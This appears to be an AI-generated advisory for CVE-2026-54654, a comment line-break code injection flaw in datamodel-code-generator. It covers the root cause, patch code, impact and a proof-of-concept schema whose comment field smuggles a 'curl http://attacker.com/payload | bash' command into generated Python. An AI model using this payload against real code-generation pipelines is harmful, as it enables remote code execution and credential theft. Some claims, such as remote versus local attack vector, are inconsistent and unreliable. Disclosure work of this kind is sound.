CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-54654

CVE-2026-54654: Python Code Injection in datamodel-code-generator via Comment Line-Break Escape

Amit Schendel
Amit Schendel
Senior Security Researcher

Jul 29, 2026·5 min read·5 visits

Executive Summary (TL;DR)

A local code injection vulnerability exists in datamodel-code-generator versions prior to 0.60.2. Inadequate sanitization of line terminators in the comment metadata of schema templates allows attackers to inject arbitrary executable statements into generated Python code, which triggers code execution when the generated files are imported.

A vulnerability in the datamodel-code-generator library allows for unauthenticated remote code execution when generating code from malicious or untrusted schema specifications. By embedding special physical line terminators, such as carriage returns, vertical tabs, or form feeds, within template values, an attacker can break out of inline Python comment boundaries. The generated output file subsequently contains un-commented python instructions that execute automatically during module import.

Vulnerability Overview

The open-source library datamodel-code-generator converts schema files—such as OpenAPI definitions, JSON Schema, GraphQL models, and Protocol Buffers—into Python structures. These target structures include typed components such as Pydantic models, TypedDicts, msgspec Structs, and dataclasses. Because this utility programmatically writes source files intended for execution, the integrity of its generation parser is crucial to preventing downstream code execution.

Historically, code generation tools are highly targeted vectors for supply chain attacks. When a developer or automated ingestion pipeline retrieves an untrusted configuration file, the generator compiles the inputs into static python source structures. The threat model changes from passive schema processing to local file execution once these scripts are executed in user spaces.

This vulnerability, classified as CVE-2026-54654, manifests because of inadequate validation of specialized control symbols. Specifically, when rendering descriptive metadata, the script relies on raw string injections following inline comment markers. Because some newline symbols are not processed correctly, they terminate the comment block prematurely, creating executable statements from what should have been inert code commentary.

Root Cause Analysis

To diagnose the root cause of CVE-2026-54654, it is necessary to examine how the Python compiler tokenizes physical lines. A physical line is defined as a sequence of characters terminated by a Line Feed (\n), a Carriage Return + Line Feed (\r\n), or a standalone Carriage Return (\r). Other control characters, such as Vertical Tab (\v) and Form Feed (\f), may also partition physical statements in multiple parser implementations.

In Python, inline comments begin with a hash character (#) and continue until the end of the current physical line. The lexical scanner interprets the comment block as spanning up to the physical line boundary. If a carriage return or vertical tab is introduced into the text, the parser splits the comment sequence. The text preceding the line terminator is treated as a comment, while the text after it is parsed as an active statement.

Prior to version 0.60.2, datamodel-code-generator dynamically populated Jinja2 templates using model metadata comment variables without prior neutralization. This meant raw input strings were injected immediately after the # character in templates like TypedDict.jinja2 and BaseModel.jinja2. Consequently, any user-supplied carriage return character was rendered directly into the generated source, breaking the syntax line block and allowing code injection.

Code Analysis & Patch Review

The diagram below illustrates the input data validation pipeline introduced in the fixed version of the library:

This vulnerability has been addressed in commit b73abb5cd703a50471b8950bbd3bd0b82ad71de7 by implementing string normalization. The patch inserts dedicated sanitization routines within src/datamodel_code_generator/model/base.py to strip vertical lines and escape comment parameters.

def comment_safe(value: str | None) -> str | None:
    # Standardizes carriage returns into typical line feed newlines
    return value.replace("\r\n", "\n").replace("\r", "\n")
 
def inline_comment_safe(value: str | None) -> str | None:
    """Make a value safe for a generated inline Python comment."""
    if value is None:
       return None
    safe_value = comment_safe(value) or ""
    # Convert vertical tabs and form feeds to newlines, then prepend '#' to each split line
    return safe_value.replace("\v", "\n").replace("\f", "\n").replace("\n", "\n# ")

These functions validate and intercept metadata comment attributes prior to rendering them via Jinja2 engine templates. However, review of the patch indicates that when custom templates are defined by absolute disk pathing, this validation logic is bypassed entirely (use_custom_template conditional check). Development teams relying on custom template definitions must ensure their designs are secure.

Attack Methodology & Proof-of-Concept

Exploiting this flaw requires the ability to influence the configuration data consumed during code generation. This typically occurs in automatic client compilation pipelines that pull schema specs dynamically from third-party application backends or external APIs. An attacker can construct a payload by injecting carriage returns inside schema description properties or template metadata arguments.

Consider a scenario where an attacker targets a code-generation automation worker. The attacker provides an metadata payload that utilizes standard carriage return sequences:

{
  "Model": {
    "comment": "safe comment\rimport os\nos.system('curl http://attacker.com/payload | bash')\n# "
  }
}

When processed by a vulnerable version of the compiler, the output structure writes the comments with physical line terminators. Because the carriage return behaves as a line terminator, CPython splits the text into separate execution statements:

# Model definition
# safe comment
import os
os.system('curl http://attacker.com/payload | bash')
# 
class Model(BaseModel):
    name: str

When a downstream utility imports this generated library, the code executes immediately under the privileges of the executing workspace.

Impact Assessment

The impact of CVE-2026-54654 is highly severe, carrying a CVSS base score of 7.8. Because the command injection runs within the context of the user running the generation tool or executing the generated Python file, it represents a direct vector to system compromise. Attackers can leverage the script context to read system environment variables, pull authorization tokens, read sensitive files, or run interactive shells.

In modern microservice architectures, developers often build automate pipelines that run code generation tools during local compilation, CI/CD execution, or cloud deployment. A vulnerability that triggers execution during compilation can result in the compromise of target development boxes, cloud build agents, or production cluster systems. The compromise can easily propagate horizontally to code repositories and shared libraries.

While user interaction is required because a developer or pipeline has to trigger code generation or import the generated code, the exploit complexity is exceptionally low. Since standard build configurations run with elevated cloud environment secrets, exploitation can compromise upstream credentials.

Official Patches

koxudaxiOfficial patch addressing carriage return breakout in Jinja2 templates

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Affected Systems

datamodel-code-generator versions starting from 0.14.1 up to (but not including) 0.60.2

Affected Versions Detail

Product
Affected Versions
Fixed Version
datamodel-code-generator
koxudaxi
>= 0.14.1, < 0.60.20.60.2
AttributeDetail
CWE IDCWE-94, CWE-1336
Attack VectorLocal (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CVSS Severity Score7.8 (High)
Exploit StatusProof-of-Concept (PoC) available
Primary Vulnerable ComponentJinja2 template interpolation logic in koxudaxi/datamodel-code-generator
Fix Version0.60.2

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1203Exploitation for Client Execution
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs code using input without properly neutralizing control sequences.

Vulnerability Timeline

Fix commit developed and merged into the main repository branch.
2026-06-08
GitHub Security Advisory GHSA-wjv6-jcfj-mf9r is published.
2026-07-28
CVE-2026-54654 is formally issued and populated in the NVD.
2026-07-28

References & Sources

  • [1]GHSA-wjv6-jcfj-mf9r: Python Code Injection in datamodel-code-generator
  • [2]Release 0.60.2: official patched update release details

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•35 minutes ago•CVE-2026-55389
7.5

CVE-2026-55389: Path Traversal and Security Control Bypass in datamodel-code-generator via Scheme Reference Resolution

An arbitrary local file read and path traversal bypass vulnerability in datamodel-code-generator before version 0.62.0 allows unauthenticated remote attackers to read arbitrary files via crafted JSON-Schema $ref references using the file:// scheme or directory traversal sequences.

Amit Schendel
Amit Schendel
1 views•4 min read
•about 3 hours ago•CVE-2026-62325
9.1

CVE-2026-62325: Authentication Bypass in goshs SFTP Server via Missing Password Check

A critical authentication bypass vulnerability in the SFTP server module of goshs version 2.1.3 allows remote, unauthenticated attackers to read, write, modify, or delete files on the target hosting environment. This vulnerability is caused by an incomplete logic check during initialization that falls back to a password-less configuration when an empty password string is specified.

Amit Schendel
Amit Schendel
2 views•6 min read
•about 4 hours ago•CVE-2026-64863
9.1

CVE-2026-64863: WebDAV MOVE Bypass of --no-delete and --upload-only Restrictive Policies in goshs

An access control bypass vulnerability in goshs prior to version 2.1.4 allows unauthenticated remote attackers to bypass security flags intended to prevent file deletion and unauthorized modification. By exploiting the server's incorrect classification of WebDAV MOVE and overwriting COPY methods, attackers can execute arbitrary file deletion and data manipulation on the host system.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 5 hours ago•CVE-2026-66063
6.5

CVE-2026-66063: Path Traversal Arbitrary File Write and Access Control Bypass in goshs

CVE-2026-66063 is an unauthenticated directory traversal and arbitrary file write vulnerability in goshs before version 2.1.5. Due to improper sanitization of file upload names, an unauthenticated attacker can write files outside the served web root. A related trailing slash bypass in the same version allows unauthorized file retrieval.

Alon Barad
Alon Barad
4 views•4 min read
•about 6 hours ago•CVE-2026-54638
7.5

CVE-2026-54638: Pre-Authentication Denial of Service via Unbounded Memory Allocation in gotd/td MTProto Parser

An unauthenticated remote Denial of Service (DoS) vulnerability exists in the plaintext message parsing implementation of gotd/td, a Go-based Telegram MTProto client and server library. The security flaw is located within the unencrypted message decoding pipeline, where the parser reads an untrusted length header and immediately performs a heap-based memory allocation without checking if the buffer contains the corresponding bytes. An attacker can exploit this behavior by sending a single crafted 20-byte packet containing an extremely large length value, leading to immediate memory exhaustion and process termination by the operating system Out-Of-Memory (OOM) killer.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 7 hours ago•CVE-2026-54658
9.8

CVE-2026-54658: SQL Injection via Parameter Escaping Bypass in @hypequery/clickhouse

A critical SQL injection vulnerability was identified in @hypequery/clickhouse prior to version 2.0.2. The escapeValue utility function in packages/clickhouse/src/core/utils.ts fails to escape literal backslash characters before replacing single quotes. This allows remote, unauthenticated attackers to supply input parameters ending in a backslash, neutralizing the closing quote character inside ClickHouse databases and enabling arbitrary SQL execution.

Alon Barad
Alon Barad
7 views•5 min read